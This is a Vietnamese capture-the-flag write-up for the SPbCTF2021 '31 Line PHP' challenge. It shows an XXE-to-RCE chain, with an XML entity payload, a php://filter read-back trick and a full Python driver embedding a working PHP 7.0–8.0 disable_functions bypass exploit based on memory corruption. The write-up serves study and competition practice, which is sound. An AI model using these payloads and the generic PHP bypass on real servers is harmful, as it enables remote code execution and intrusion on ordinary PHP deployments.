Home 31 Line PHP - SPbCTF2021
Post
Cancel
SPbCTF logo

31 Line PHP - SPbCTF2021

Challenge này từ năm ngoái nhưng mình vẫn muốn viết bởi 1 phần nó khá hay và lí do ngoài lề khác là năm nay mình mới tập tành viết blog 😝

Source code

source_code source code

Phân tích

Nhìn qua source code thì ta sẽ phải POST dữ liệu data=xxxx và một file. Server sẽ check session của ta nếu không có thì sẽ tạo random một sess_id và dùng sess_id này để làm thư mục cha của file upload.

2 dòng comment khá thú vị, liên quan đến lỗi XXE của Wordpress 3.9.2. Tiếp tục search thì mình tìm ra một blog về một bug khác cũng của Wordpress liên quan đến XXE. libxml_disable_entity_loader(true) được thêm vào ở đây để config XML parser tắt tính năng load external entity và tính năng này nên được áp dụng với các version PHP < 8, kể từ 8 trở đi thì PHP dùng libxml từ version 2.9.0 (disable XXE bydefault) nên libxml_disable_entity_loader() không được dùng nữa.

Từ đó ta có thể thấy không có vấn đề gì ở đoạn code này nhưng loadXML() ở dòng code dưới thì sao?. Bởi vì nó được thực thi với flag LIBXML_NOENT nên sẽ enable entity substitution. Cụ thể hơn là: LIBXML_NOENT LIBXML_NOENT

Vì vậy ta vẫn có thể lợi dụng điều này để áp dụng kĩ thuật XXE 😊

Thử upload một file test.xml: test.xml test.html

Với PHPSESSID trong cookie của ta py script python script

Ta được: result respone

XXE thành công nhưng sẽ không có cách nào tìm được file flag vì XXE theo cách này chỉ có thể retrieve file từ xa bên phía server 😐 vì vậy mình đã không giải ra.

Sau khi đọc wu thì mới phát hiện ra rằng file ta upload lên được xóa ở cuối unlink() sau khi được parse XML. Điều này có nghĩa là nếu ta upload một file PHP và truy cập file đó một lần nữa thông qua XML. Và dùng php://filter để encode base64 thì có thể lấy được output của file php (sau khi thực thi bên phía server) qua response. Để ý một điểm nữa là file upload được lưu tại thư mục var/www/html/upload/$id/$name nên suy đoán thư mục root của web server sẽ là /var/www/html. Suy ra ta có thể access đến file upload bên phía server thông qua đường dẫn http://62.84.114.238/upload/$id/$FILENAME

1
2
3
4
5
6
7
8
9
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://62.84.114.238/upload/89e05a8b6e028eeda25a0845b9b3daaa/payload.php" >]>
<creds>
<user>&xxe;</user>

<pass></pass>

</creds>
<?php phpinfo(); ?>

Ta chỉnh lại file upload với phpinfo(); và để server thực thi được file php thì chỉnh luôn extension thành .php result respone

Thành công base64 decode và mở bằng trình duyệt: result phpinfo

😑 Các function có thể dùng để rce đều bị filter.

Nhưng cái disable_functions này có thể bypass được dựa vào bug 0day được published PoC. Tại thời điểm publish, bug này có thể dùng để bypass hầu như mọi PHP versions và khai thác dựa trên memory corruption.

Khai thác

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
import requests
import re
import base64

TARGET = 'http://62.84.114.238'

while 1:
    COMMAND = str(input('$ '))
    with open('payload.php', 'w') as f:
        f.write("""
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://62.84.114.238/upload/ebb8f496d6241dfd214351614c852de7/payload.php" > ]>
<creds>
    <user>&xxe;</user>    
    <pass>mypass</pass>
</creds>
""" + """
<?php 
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
# 
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('{}');""".format(COMMAND) + r"""

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>
""")
    r = requests.post(TARGET, files={'data': ('payload.php', open('payload.php', 'rb'))}, data={'data': 'test'},
                      headers={'Cookie': 'PHPSESSID=7b4bd8d9ff68e20dc0317595b6623ef6'})
    # print(r.text)
    match = re.search('You have logged in as user (.*)', r.text)
    extract_data = base64.b64decode(match[1]).decode()
    index = extract_data.find('</creds>') + len('</creds>')
    rce_data = extract_data[index:]
    print(rce_data)

Kết quả:

result RCE sucess

spbctf{XX3_2_rCe_w3Ll_D0n3}

Tham khảo

This post is licensed under CC BY 4.0 by the author.

Noted - picoCTF2022

NoCookies - DiceCTF2022